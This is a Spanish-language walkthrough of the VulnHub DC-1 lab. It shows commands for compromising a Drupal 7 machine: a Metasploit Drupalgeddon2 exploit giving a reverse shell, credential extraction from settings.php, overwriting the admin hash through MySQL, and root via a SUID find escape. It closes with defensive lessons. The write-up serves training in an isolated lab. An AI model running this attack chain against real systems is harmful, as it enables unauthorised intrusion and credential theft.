
VulnHub DC-1 boot-to-root — explotando CVE-2018-7600 (Drupalgeddon2) para RCE, extrayendo credenciales de BD desde settings.php, forjando el hash de la contraseña de administrador y escalando a root mediante SUID find.
"Writeups de laboratorio de pruebas de penetración que documentan cadenas de ataque completas — desde el reconocimiento hasta el root."
Dificultad: Principiante–Intermedio
Plataforma: VulnHub
Objetivo: Capturar las 4 banderas y lograr un compromiso total a nivel de root
Sistema atacante: Kali Linux (VirtualBox — Red NAT)
Sistema objetivo: Debian Linux (CMS Drupal 7)
| Componente | Detalles |
|---|---|
| Hipervisor | VirtualBox |
Ambas máquinas virtuales se configuraron bajo la misma red NAT en VirtualBox para permitir la comunicación entre VM manteniendo un entorno de laboratorio aislado.
Se utilizó arp-scan para identificar todos los hosts activos en la subred local:
sudo arp-scan -l
Resultado: Objetivo identificado en 10.0.2.3
Se ejecutó un escaneo completo de Nmap con detección de versiones y scripts por defecto:
sudo nmap -sV -sC 10.0.2.3
Hallazgos clave:
| Puerto | Servicio | Versión |
|---|---|---|
| 22/tcp | SSH | OpenSSH 6.0p1 |
| 80/tcp | HTTP | Apache 2.2.22 |
| 111/tcp | rpcbind | — |
🔑 Crítico: Nmap identificó explícitamente la aplicación web como Drupal 7 mediante las cabeceras del generador HTTP — confirmando una versión de CMS vulnerable conocida.
Drupal 7 está afectado por una vulnerabilidad crítica de Ejecución Remota de Código (RCE) en su API de Formularios. Un atacante no autenticado puede enviar una solicitud HTTP manipulada que el backend ejecuta como comando del sistema — sin requerir autenticación alguna.
Se lanzó Metasploit Framework:
msfconsole
search drupalgeddon
use exploit/multi/http/drupal_drupageddon2
set RHOSTS 10.0.2.3
exploit
Resultado: La shell inversa de Meterpreter se abrió correctamente como www-data (el usuario del proceso del servidor web).
Se pasó de Meterpreter a una shell nativa de Linux y se estabilizó usando Python PTY:
shell
python -c 'import pty; pty.spawn("/bin/bash")'
Resultado: Shell bash totalmente interactiva como www-data@DC-1 dentro de /var/www
ls -la /var/www
cat flag1.txt
Contenido de la Bandera 1:
Every good CMS needs a config file - and so do you.
💡 Pista: Apunta directamente al archivo de configuración de Drupal —
settings.php
Se navegó al directorio de configuración de Drupal y se inspeccionó el archivo de configuración:
cd /var/www/sites/default
cat settings.php
Credenciales descubiertas incrustadas en el array $databases:
| Campo | Valor |
|---|---|
| Base de datos | drupaldb |
| Usuario | dbuser |
| Contraseña | R0ck3t |
Contenido de la Bandera 2 (de los comentarios del archivo):
Brute force and dictionary attacks aren't the only ways to gain access
(and you WILL need access). What can you do with these credentials?
💡 Pista: Usa las credenciales para acceder al backend de MySQL — sin forzar nada por fuerza bruta.
mysql -u dbuser -pR0ck3t
use drupaldb;
select uid, name, pass from users;
Se encontraron contraseñas con hash para admin y fred — ambas usando el esquema de hash $S$ de Drupal (basado en SHA-512).
En lugar de crackear el hash existente, se utilizó el script PHP integrado de Drupal para generar uno nuevo:
cd /var/www
php scripts/password-hash.sh password123
Salida: Un hash $S$D... válido para password123
use drupaldb;
update users set pass='$S$DUxDdAfJe08Z9viU5Tly0uUZXFThRFMpeBwz4T07HB6Rj0Fm2JTp' where name='admin';
Se inició sesión en http://10.0.2.3 como admin / password123 correctamente.
Contenido de la Bandera 3 (encontrado en el panel de contenido del administrador de Drupal):
Special PERMS will help FIND the passwd - but you'll need to -exec
that command to work out how to get what's in the shadow.
💡 Pista: Mala configuración del binario SUID en el comando
find— vector de escalada de privilegios identificado.
cat /etc/passwd
Se localizó al usuario flag4 con directorio home en /home/flag4.
cat /home/flag4/flag4.txt
Contenido de la Bandera 4:
Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?
findEl binario find tenía el bit SUID activado, lo que significa que se ejecuta con los privilegios del propietario del archivo (root) sin importar quién lo ejecute.
find . -exec /bin/sh \;
whoami
# root
cd /root
cat thefinalflag.txt
Well done!!! Hope you enjoyed DC-1!
Se logró el compromiso total de root. ✅
Desde una perspectiva ofensiva:
settings.php suelen contener credenciales en texto plano que permiten a un atacante pasar del acceso web al control total de la base de datos.find, vim o python son uno de los vectores de escalada de privilegios más fiables en entornos Linux.Desde una perspectiva defensiva:
find / -perm -4000 -type f 2>/dev/null debería formar parte de cualquier lista de verificación de endurecimiento de Linux.Este writeup es estrictamente con fines educativos y documenta actividades realizadas en un entorno de laboratorio aislado y legal. Nunca intentes estas técnicas contra sistemas que no poseas o para los que no tengas permiso explícito por escrito para probar.
Completado por Prapul | Perfil de TryHackMe | GitHub
| Modo de Red | Red NAT (ambas VM en la misma subred) |
| Máquina Atacante | Kali Linux |
| Máquina Objetivo | DC-1 (VulnHub) |
| IP Objetivo | 10.0.2.3 (descubierta mediante arp-scan) |
| Herramienta | Propósito |
|---|
arp-scan | Descubrimiento de hosts en la subred local |
nmap | Escaneo de puertos y huella de servicios |
Metasploit Framework | Entrega del exploit CVE-2018-7600 y shell inversa |
MySQL CLI | Enumeración de bases de datos y manipulación de credenciales |
PHP (password-hash.sh) | Generación de hash nativo de Drupal |
Python PTY | Estabilización de la shell |
VirtualBox | Configuración del entorno de laboratorio aislado |